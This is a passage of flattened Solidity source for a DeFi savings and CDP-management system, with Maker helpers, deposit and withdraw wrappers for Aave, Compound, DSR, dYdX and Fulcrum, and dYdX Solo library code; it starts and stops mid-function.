dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate);
dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart;
}
}
/// @notice Converts a number to Rad percision
/// @param _wad The input number in wad percision
function toRad(uint _wad) internal pure returns (uint) {
return mul(_wad, 10 ** 27);
}
/// @notice Converts a number to 18 decimal percision
/// @param _joinAddr Join address of the collateral
/// @param _amount Number to be converted
function convertTo18(address _joinAddr, uint256 _amount) internal view returns (uint256) {
return mul(_amount, 10 ** (18 - Join(_joinAddr).dec()));
}
/// @notice Converts a uint to int and checks if positive
/// @param _x Number to be converted
function toPositiveInt(uint _x) internal pure returns (int y) {
y = int(_x);
require(y >= 0, "int-overflow");
}
/// @notice Gets Dai amount in Vat which can be added to Cdp
/// @param _vat Address of Vat contract
/// @param _urn Urn of the Cdp
/// @param _ilk Ilk of the Cdp
function normalizePaybackAmount(address _vat, address _urn, bytes32 _ilk) internal view returns (int amount) {
uint dai = Vat(_vat).dai(_urn);
(, uint rate,,,) = Vat(_vat).ilks(_ilk);
(, uint art) = Vat(_vat).urns(_ilk, _urn);
amount = toPositiveInt(dai / rate);
amount = uint(amount) <= art ? - amount : - toPositiveInt(art);
}
/// @notice Gets the whole debt of the CDP
/// @param _vat Address of Vat contract
/// @param _usr Address of the Dai holder
/// @param _urn Urn of the Cdp
/// @param _ilk Ilk of the Cdp
function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) {
(, uint rate,,,) = Vat(_vat).ilks(_ilk);
(, uint art) = Vat(_vat).urns(_ilk, _urn);
uint dai = Vat(_vat).dai(_usr);
uint rad = sub(mul(art, rate), dai);
daiAmount = rad / RAY;
daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount;
}
/// @notice Gets the token address from the Join contract
/// @param _joinAddr Address of the Join contract
function getCollateralAddr(address _joinAddr) internal view returns (address) {
return address(Join(_joinAddr).gem());
}
/// @notice Gets CDP info (collateral, debt)
/// @param _manager Manager contract
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getCdpInfo(Manager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) {
address vat = _manager.vat();
address urn = _manager.urns(_cdpId);
(uint collateral, uint debt) = Vat(vat).urns(_ilk, urn);
(,uint rate,,,) = Vat(vat).ilks(_ilk);
return (collateral, rmul(debt, rate));
}
/// @notice Address that owns the DSProxy that owns the CDP
/// @param _manager Manager contract
/// @param _cdpId Id of the CDP
function getOwner(Manager _manager, uint _cdpId) public view returns (address) {
DSProxy proxy = DSProxy(uint160(_manager.owns(_cdpId)));
return proxy.owner();
}
}
abstract contract ProtocolInterface {
function deposit(address _user, uint256 _amount) public virtual;
function withdraw(address _user, uint256 _amount) public virtual;
}
contract SavingsLogger {
event Deposit(address indexed sender, uint8 protocol, uint256 amount);
event Withdraw(address indexed sender, uint8 protocol, uint256 amount);
event Swap(address indexed sender, uint8 fromProtocol, uint8 toProtocol, uint256 amount);
function logDeposit(address _sender, uint8 _protocol, uint256 _amount) external {
emit Deposit(_sender, _protocol, _amount);
}
function logWithdraw(address _sender, uint8 _protocol, uint256 _amount) external {
emit Withdraw(_sender, _protocol, _amount);
}
function logSwap(address _sender, uint8 _protocolFrom, uint8 _protocolTo, uint256 _amount)
external
{
emit Swap(_sender, _protocolFrom, _protocolTo, _amount);
}
}
contract AaveSavingsProtocol is ProtocolInterface, DSAuth {
address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d;
address public constant AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119;
address public constant AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
function deposit(address _user, uint _amount) public override {
require(msg.sender == _user);
// get dai from user
require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount));
ERC20(DAI_ADDRESS).approve(AAVE_LENDING_POOL_CORE, uint(-1));
ILendingPool(AAVE_LENDING_POOL).deposit(DAI_ADDRESS, _amount, 0);
ERC20(ADAI_ADDRESS).transfer(_user, ERC20(ADAI_ADDRESS).balanceOf(address(this)));
}
function withdraw(address _user, uint _amount) public override {
require(msg.sender == _user);
require(ERC20(ADAI_ADDRESS).transferFrom(_user, address(this), _amount));
IAToken(ADAI_ADDRESS).redeem(_amount);
// return dai we have to user
ERC20(DAI_ADDRESS).transfer(_user, _amount);
}
}
contract CompoundSavingsProtocol {
address public constant NEW_CDAI_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
CTokenInterface public constant cDaiContract = CTokenInterface(NEW_CDAI_ADDRESS);
function compDeposit(address _user, uint _amount) internal {
// get dai from user
require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount));
// mainnet only
ERC20(DAI_ADDRESS).approve(NEW_CDAI_ADDRESS, uint(-1));
// mint cDai
require(cDaiContract.mint(_amount) == 0, "Failed Mint");
}
function compWithdraw(address _user, uint _amount) internal {
// transfer all users balance to this contract
require(cDaiContract.transferFrom(_user, address(this), ERC20(NEW_CDAI_ADDRESS).balanceOf(_user)));
// approve cDai to compound contract
cDaiContract.approve(NEW_CDAI_ADDRESS, uint(-1));
// get dai from cDai contract
require(cDaiContract.redeemUnderlying(_amount) == 0, "Reedem Failed");
// return to user balance we didn't spend
uint cDaiBalance = cDaiContract.balanceOf(address(this));
if (cDaiBalance > 0) {
cDaiContract.transfer(_user, cDaiBalance);
}
// return dai we have to user
ERC20(DAI_ADDRESS).transfer(_user, _amount);
}
}
abstract contract VatLike {
function can(address, address) virtual public view returns (uint);
function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function dai(address) virtual public view returns (uint);
function urns(bytes32, address) virtual public view returns (uint, uint);
function frob(bytes32, address, address, address, int, int) virtual public;
function hope(address) virtual public;
function move(address, address, uint) virtual public;
}
abstract contract PotLike {
function pie(address) virtual public view returns (uint);
function drip() virtual public returns (uint);
function join(uint) virtual public;
function exit(uint) virtual public;
}
abstract contract GemLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract DaiJoinLike {
function vat() virtual public returns (VatLike);
function dai() virtual public returns (GemLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
contract DSRSavingsProtocol is DSMath {
// Mainnet
address public constant POT_ADDRESS = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
function dsrDeposit(uint _amount, bool _fromUser) internal {
VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat();
uint chi = PotLike(POT_ADDRESS).drip();
daiJoin_join(DAI_JOIN_ADDRESS, address(this), _amount, _fromUser);
if (vat.can(address(this), address(POT_ADDRESS)) == 0) {
vat.hope(POT_ADDRESS);
}
PotLike(POT_ADDRESS).join(mul(_amount, RAY) / chi);
}
function dsrWithdraw(uint _amount, bool _toUser) internal {
VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat();
uint chi = PotLike(POT_ADDRESS).drip();
uint pie = mul(_amount, RAY) / chi;
PotLike(POT_ADDRESS).exit(pie);
uint balance = DaiJoinLike(DAI_JOIN_ADDRESS).vat().dai(address(this));
if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) {
vat.hope(DAI_JOIN_ADDRESS);
}
address to;
if (_toUser) {
to = msg.sender;
} else {
to = address(this);
}
if (_amount == uint(-1)) {
DaiJoinLike(DAI_JOIN_ADDRESS).exit(to, mul(chi, pie) / RAY);
} else {
DaiJoinLike(DAI_JOIN_ADDRESS).exit(
to,
balance >= mul(_amount, RAY) ? _amount : balance / RAY
);
}
}
function daiJoin_join(address apt, address urn, uint wad, bool _fromUser) internal {
if (_fromUser) {
DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad);
}
DaiJoinLike(apt).dai().approve(apt, wad);
DaiJoinLike(apt).join(urn, wad);
}
}
contract DydxSavingsProtocol is ProtocolInterface, DSAuth {
address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
ISoloMargin public soloMargin;
address public savingsProxy;
uint daiMarketId = 3;
constructor() public {
soloMargin = ISoloMargin(SOLO_MARGIN_ADDRESS);
}
function addSavingsProxy(address _savingsProxy) public auth {
savingsProxy = _savingsProxy;
}
function deposit(address _user, uint _amount) public override {
require(msg.sender == _user);
Account.Info[] memory accounts = new Account.Info[](1);
accounts[0] = getAccount(_user, 0);
Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1);
Types.AssetAmount memory amount = Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _amount
});
actions[0] = Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: amount,
primaryMarketId: daiMarketId,
otherAddress: _user,
secondaryMarketId: 0, //not used
otherAccountId: 0, //not used
data: "" //not used
});
soloMargin.operate(accounts, actions);
}
function withdraw(address _user, uint _amount) public override {
require(msg.sender == _user);
Account.Info[] memory accounts = new Account.Info[](1);
accounts[0] = getAccount(_user, 0);
Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1);
Types.AssetAmount memory amount = Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _amount
});
actions[0] = Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: amount,
primaryMarketId: daiMarketId,
otherAddress: _user,
secondaryMarketId: 0, //not used
otherAccountId: 0, //not used
data: "" //not used
});
soloMargin.operate(accounts, actions);
}
function getWeiBalance(address _user, uint _index) public view returns(Types.Wei memory) {
Types.Wei[] memory weiBalances;
(,,weiBalances) = soloMargin.getAccountBalances(getAccount(_user, _index));
return weiBalances[daiMarketId];
}
function getParBalance(address _user, uint _index) public view returns(Types.Par memory) {
Types.Par[] memory parBalances;
(,parBalances,) = soloMargin.getAccountBalances(getAccount(_user, _index));
return parBalances[daiMarketId];
}
function getAccount(address _user, uint _index) public pure returns(Account.Info memory) {
Account.Info memory account = Account.Info({
owner: _user,
number: _index
});
return account;
}
}
abstract contract ISoloMargin {
struct OperatorArg {
address operator;
bool trusted;
}
function operate(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
) public virtual;
function getAccountBalances(
Account.Info memory account
) public view virtual returns (
address[] memory,
Types.Par[] memory,
Types.Wei[] memory
);
function setOperators(
OperatorArg[] memory args
) public virtual;
function getNumMarkets() public view virtual returns (uint256);
function getMarketTokenAddress(uint256 marketId)
public
view
virtual
returns (address);
}
library Account {
// ============ Enums ============
/*
* Most-recently-cached account status.
*
* Normal: Can only be liquidated if the account values are violating the global margin-ratio.
* Liquid: Can be liquidated no matter the account values.
* Can be vaporized if there are no more positive account values.
* Vapor: Has only negative (or zeroed) account values. Can be vaporized.
*
*/
enum Status {
Normal,
Liquid,
Vapor
}
// ============ Structs ============
// Represents the unique key that specifies an account
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
// The complete storage for any account
struct Storage {
mapping (uint256 => Types.Par) balances; // Mapping from marketId to principal
Status status;
}
// ============ Library Functions ============
function equals(
Info memory a,
Info memory b
)
internal
pure
returns (bool)
{
return a.owner == b.owner && a.number == b.number;
}
}
library Actions {
// ============ Constants ============
bytes32 constant FILE = "Actions";
// ============ Enums ============
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (externally)
Sell, // sell an amount of some token (externally)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AccountLayout {
OnePrimary,
TwoPrimary,
PrimaryAndSecondary
}
enum MarketLayout {
ZeroMarkets,
OneMarket,
TwoMarkets
}
// ============ Structs ============
/*
* Arguments that are passed to Solo in an ordered list as part of a single operation.
* Each ActionArgs has an actionType which specifies which action struct that this data will be
* parsed into before being processed.
*/
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
// ============ Action Types ============
/*
* Moves tokens from an address to Solo. Can either repay a borrow or provide additional supply.
*/
struct DepositArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address from;
}
/*
* Moves tokens from Solo to another address. Can either borrow tokens or reduce the amount
* previously supplied.
*/
struct WithdrawArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address to;
}
/*
* Transfers balance between two accounts. The msg.sender must be an operator for both accounts.
* The amount field applies to accountOne.
* This action does not require any token movement since the trade is done internally to Solo.
*/
struct TransferArgs {
Types.AssetAmount amount;
Account.Info accountOne;
Account.Info accountTwo;
uint256 market;
}
/*
* Acquires a certain amount of tokens by spending other tokens. Sends takerMarket tokens to the
* specified exchangeWrapper contract and expects makerMarket tokens in return. The amount field
* applies to the makerMarket.
*/
struct BuyArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 makerMarket;
uint256 takerMarket;
address exchangeWrapper;
bytes orderData;
}
/*
* Spends a certain amount of tokens to acquire other tokens. Sends takerMarket tokens to the
* specified exchangeWrapper and expects makerMarket tokens in return. The amount field applies
* to the takerMarket.
*/
struct SellArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 takerMarket;
uint256 makerMarket;
address exchangeWrapper;
bytes orderData;
}
/*
* Trades balances between two accounts using any external contract that implements the
* AutoTrader interface. The AutoTrader contract must be an operator for the makerAccount (for
* which it is trading on-behalf-of). The amount field applies to the makerAccount and the
* inputMarket. This proposed change to the makerAccount is passed to the AutoTrader which will
* quote a change for the makerAccount in the outputMarket (or will disallow the trade).
* This action does not require any token movement since the trade is done internally to Solo.
*/
struct TradeArgs {
Types.AssetAmount amount;
Account.Info takerAccount;
Account.Info makerAccount;
uint256 inputMarket;
uint256 outputMarket;
address autoTrader;
bytes tradeData;
}
/*
* Each account must maintain a certain margin-ratio (specified globally). If the account falls
* below this margin-ratio, it can be liquidated by any other account. This allows anyone else
* (arbitrageurs) to repay any borrowed asset (owedMarket) of the liquidating account in
* exchange for any collateral asset (heldMarket) of the liquidAccount. The ratio is determined
* by the price ratio (given by the oracles) plus a spread (specified globally). Liquidating an
* account also sets a flag on the account that the account is being liquidated. This allows
* anyone to continue liquidating the account until there are no more borrows being taken by the
* liquidating account. Liquidators do not have to liquidate the entire account all at once but
* can liquidate as much as they choose. The liquidating flag allows liquidators to continue
* liquidating the account even if it becomes collateralized through partial liquidation or
* price movement.
*/
struct LiquidateArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info liquidAccount;
uint256 owedMarket;
uint256 heldMarket;
}
/*
* Similar to liquidate, but vaporAccounts are accounts that have only negative balances
* remaining. The arbitrageur pays back the negative asset (owedMarket) of the vaporAccount in
* exchange for a collateral asset (heldMarket) at a favorable spread. However, since the
* liquidAccount has no collateral assets, the collateral must come from Solo's excess tokens.
*/
struct VaporizeArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info vaporAccount;
uint256 owedMarket;
uint256 heldMarket;
}
/*
* Passes arbitrary bytes of data to an external contract that implements the Callee interface.
* Does not change any asset amounts. This function may be useful for setting certain variables
* on layer-two contracts for certain accounts without having to make a separate Ethereum
* transaction for doing so. Also, the second-layer contracts can ensure that the call is coming
* from an operator of the particular account.
*/
struct CallArgs {
Account.Info account;
address callee;
bytes data;
}
// ============ Helper Functions ============
function getMarketLayout(
ActionType actionType
)
internal
pure
returns (MarketLayout)
{
if (
actionType == Actions.ActionType.Deposit
|| actionType == Actions.ActionType.Withdraw
|| actionType == Actions.ActionType.Transfer
) {
return MarketLayout.OneMarket;
}
else if (actionType == Actions.ActionType.Call) {
return MarketLayout.ZeroMarkets;
}
return MarketLayout.TwoMarkets;
}
function getAccountLayout(
ActionType actionType
)
internal
pure
returns (AccountLayout)
{
if (
actionType == Actions.ActionType.Transfer
|| actionType == Actions.ActionType.Trade
) {
return AccountLayout.TwoPrimary;
} else if (
actionType == Actions.ActionType.Liquidate
|| actionType == Actions.ActionType.Vaporize
) {
return AccountLayout.PrimaryAndSecondary;
}
return AccountLayout.OnePrimary;
}
// ============ Parsing Functions ============
function parseDepositArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (DepositArgs memory)
{
assert(args.actionType == ActionType.Deposit);
return DepositArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
from: args.otherAddress
});
}
function parseWithdrawArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (WithdrawArgs memory)
{
assert(args.actionType == ActionType.Withdraw);
return WithdrawArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
to: args.otherAddress
});
}
function parseTransferArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TransferArgs memory)
{
assert(args.actionType == ActionType.Transfer);
return TransferArgs({
amount: args.amount,
accountOne: accounts[args.accountId],
accountTwo: accounts[args.otherAccountId],
market: args.primaryMarketId
});
}
function parseBuyArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (BuyArgs memory)
{
assert(args.actionType == ActionType.Buy);
return BuyArgs({
amount: args.amount,
account: accounts[args.accountId],
makerMarket: args.primaryMarketId,
takerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseSellArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (SellArgs memory)
{
assert(args.actionType == ActionType.Sell);
return SellArgs({
amount: args.amount,
account: accounts[args.accountId],
takerMarket: args.primaryMarketId,
makerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseTradeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TradeArgs memory)
{
assert(args.actionType == ActionType.Trade);
return TradeArgs({
amount: args.amount,
takerAccount: accounts[args.accountId],
makerAccount: accounts[args.otherAccountId],
inputMarket: args.primaryMarketId,
outputMarket: args.secondaryMarketId,
autoTrader: args.otherAddress,
tradeData: args.data
});
}
function parseLiquidateArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (LiquidateArgs memory)
{
assert(args.actionType == ActionType.Liquidate);
return LiquidateArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
liquidAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseVaporizeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (VaporizeArgs memory)
{
assert(args.actionType == ActionType.Vaporize);
return VaporizeArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
vaporAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseCallArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (CallArgs memory)
{
assert(args.actionType == ActionType.Call);
return CallArgs({
account: accounts[args.accountId],
callee: args.otherAddress,
data: args.data
});
}
}
library Math {
using SafeMath for uint256;
// ============ Constants ============
bytes32 constant FILE = "Math";
// ============ Library Functions ============
/*
* Return target * (numerator / denominator).
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
/*
* Return target * (numerator / denominator), but rounded up.
*/
function getPartialRoundUp(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (target == 0 || numerator == 0) {
// SafeMath will check for zero denominator
return SafeMath.div(0, denominator);
}
return target.mul(numerator).sub(1).div(denominator).add(1);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
library Require {
// ============ Constants ============
uint256 constant ASCII_ZERO = 48; // '0'
uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10
uint256 constant ASCII_LOWER_EX = 120; // 'x'
bytes2 constant COLON = 0x3a20; // ': '
bytes2 constant COMMA = 0x2c20; // ', '
bytes2 constant LPAREN = 0x203c; // ' <'
byte constant RPAREN = 0x3e; // '>'
uint256 constant FOUR_BIT_MASK = 0xf;
// ============ Library Functions ============
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
// ============ Private Functions ============
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
// put the input bytes into the result
bytes memory result = abi.encodePacked(input);
// determine the length of the input by finding the location of the last non-zero byte
for (uint256 i = 32; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// find the last non-zero byte in order to determine the length
if (result[i] != 0) {
uint256 length = i + 1;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
mstore(result, length) // r.length = length;
}
return result;
}
}
// all bytes are zero
return new bytes(0);
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
// get the final string length
uint256 j = input;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
// allocate the string
bytes memory bstr = new bytes(length);
// populate the string starting with the least-significant character
j = input;
for (uint256 i = length; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// take last decimal digit
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
// remove the last decimal digit
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
// addresses are "0x" followed by 20 bytes of data which take up 2 characters each
bytes memory result = new bytes(42);
// populate the result with "0x"
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
// for each byte (starting from the lowest byte), populate the result with two characters
for (uint256 i = 0; i < 20; i++) {
// each byte takes two characters
uint256 shift = i * 2;
// populate the least-significant character
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
// populate the most-significant character
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
// bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each
bytes memory result = new bytes(66);
// populate the result with "0x"
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
// for each byte (starting from the lowest byte), populate the result with two characters
for (uint256 i = 0; i < 32; i++) {
// each byte takes two characters
uint256 shift = i * 2;
// populate the least-significant character
result[65 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
// populate the most-significant character
result[64 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
// return ASCII digit (0-9)
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
// return ASCII letter (a-f)
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
}
library Types {
using Math for uint256;
// ============ AssetAmount ============
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
// ============ Par (Principal Amount) ============
// Total borrow and supply values for a market
struct TotalPar {
uint128 borrow;
uint128 supply;
}
// Individual principal amount for an account
struct Par {
bool sign; // true if positive
uint128 value;
}
function zeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: false,
value: 0
});
}
function sub(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
return add(a, negative(b));
}
function add(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
Par memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value).to128();
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value).to128();
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value).to128();
}
}
return result;
}
function equals(
Par memory a,
Par memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Par memory a
)
internal
pure
returns (Par memory)
{
return Par({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Par memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Par memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Par memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
// ============ Wei (Token Amount) ============
// Individual token amount for an account
struct Wei {
bool sign; // true if positive
uint256 value;
}
function zeroWei()
internal
pure
returns (Wei memory)
{
return Wei({
sign: false,
value: 0
});
}
function sub(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
return add(a, negative(b));
}
function add(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
Wei memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value);
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value);
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value);
}
}
return result;
}
function equals(
Wei memory a,
Wei memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Wei memory a
)
internal
pure
returns (Wei memory)
{
return Wei({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Wei memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Wei memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Wei memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
}
contract FulcrumSavingsProtocol is ProtocolInterface, DSAuth {
address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public savingsProxy;
uint public decimals = 10 ** 18;
function addSavingsProxy(address _savingsProxy) public auth {
savingsProxy = _savingsProxy;
}
function deposit(address _user, uint _amount) public override {
require(msg.sender == _user);
// get dai from user
require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount));
// approve dai to Fulcrum
ERC20(DAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1));
// mint iDai
